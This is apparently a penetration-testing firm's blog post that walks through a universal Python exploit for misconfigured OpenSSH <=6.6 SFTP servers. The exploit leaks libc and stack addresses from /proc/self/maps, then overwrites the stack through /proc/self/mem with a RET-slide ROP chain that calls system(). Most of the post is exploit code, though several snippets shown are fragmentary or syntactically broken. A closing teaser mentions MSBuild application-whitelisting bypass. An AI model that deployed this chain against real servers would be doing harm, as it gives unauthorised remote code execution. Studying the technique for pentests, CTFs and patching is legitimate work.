OpenSSH <=6.6 SFTP misconfiguration universal exploit


Recently our team ran into an interesting SFTP misconfiguration which allows for a reliable RCE on affected systems. The original discovery by Jann Horn can be found here Although the affected OpenSSH version is a bit dated, it can still be found on many internal engagements and various CTF challenges. The original summary reads:

OpenSSH lets you grant SFTP access to users without allowing full command execution using “ForceCommand internal-sftp”. However, if you misconfigure the server and don’t use ChrootDirectory, the user will be able to access all parts of the filesystem that he has access to, including procfs. On modern Linux kernels (>=2.6.39, I think), /proc/self/maps reveals the memory layout and /proc/self/mem lets you write to arbitrary memory positions. Combine those and you get easy RCE.

In this blog post we will use the advisory and the provided 64bit PoC to produce a universal python exploit which targets both 32 and 64 bit SFTP subsystems. The basic steps to get a universal exploit working are as follows:

Parsing /proc/self/maps

The code to parse the downloaded memory layout is as follows. It determines whether the process is 32 or 64 bit, extracts libc base address and the full path as well as the stack address range.

with open("maps","r") as f:
    lines = f.readlines()
    for line in lines:
        words = line.split()
        addr = words[0]
        if ("libc" in line and "r-xp" in line):
            path = words[-1]
            addr = addr.split('-')
            BITS = 64 if len(addr[0]) &gt; 8 else 32
            print "[+] {}bit libc mapped @ {}-{}, path: {}".format(BITS, addr[0], addr[1], path)
            libc_base = int(addr[0], 16)
            libc_path = path
        if ("[stack]" in line):
            addr = addr.split("-")
            saddr_start = int(addr[0], 16)
            saddr_end = int(addr[1], 16)
            print "[+] Stack mapped @ {}-{}".format(addr[0], addr[1])

Extracting information from libc

With the help of the pwntools library, the following piece of code determines the addresses of system and exit calls and extracts POP RDI; RET (64bit) and RET (both 32 and 64bit) gadgets.

e = ELF("")
sys_addr = libc_base + e.symbols['system']
exit_addr = libc_base + e.symbols['exit']

# gadgets for the RET slide and system()
if BITS == 64:
    pop_rdi_ret = libc_base + next('\x5f\xc3'))
    ret_addr = pop_rdi_ret + 1
    ret_addr = libc_base + next('\xc3'))

Composing a new stack

The following code composes a new stack with a RET slide and a small sequence at the end which calls system(‘cmd’). The RET slide is absolutely necessary in this case as we do not know the exact address of the hijacked execution flow. The calling convention dictates that on 64bit systems the arguments are passed in via registers (starting with RDI) and on 32bit systems - on the stack. Therefore, depending on the architecture, we use POP RDI; RET gadget on 64bit and the ret2libc technique with the provided command’s address on the stack on 32bit to call system().

if BITS == 32:
    new_stack += p32(ret_addr) * (stack_size/4)
    new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-12]
    new_stack += p32(sys_addr)
    new_stack += p32(exit_addr)
    new_stack += p32(saddr_start)
    new_stack += p64(ret_addr) * (stack_size/8)
    new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-32]
    new_stack += p64(pop_rdi_ret)
    new_stack += p64(saddr_start)
    new_stack += p64(sys_addr)
    new_stack += p64(exit_addr)

Writing the new stack

The following piece of code places the command to be executed at the top of the stack and writes the new stack from bottom up in 32,000 byte chunks:

# write cmd to top of the stack
f.write(cmd + "\x00")

# write the rest from bottom up, we're going to crash at some point
for off in range(stack_size - 32000, 0, -32000):
    cur_addr = saddr_start + off

        print "Stack write failed - that's probably good!"
        print "Check if your command was executed..."

During the new stack write - at some point we are going to hijack the SFTP process execution flow and land somewhere inside the RET slide. Then, we will slide all the way to our system() call. The following screenshot shows the execution flow reaching POP RDI; RET gadget with the stack contents prepared for the system() call.



The full exploit code is available from

You may also be interested in...

Dec. 19, 2018

Burp Extension – HMAC Signature in Custom HTTP Header

In this post I would like to share some steps that were required before testing could begin during a web API penetration test.

See more
Aug. 10, 2020

MSBuild logger code execution

Using msbuild to bypass application white-listing Is a well known and documented techique. You simply need to add some C# code to a msbuild task within an msbuild XML project file and msbuild will happily compile and run your code.

See more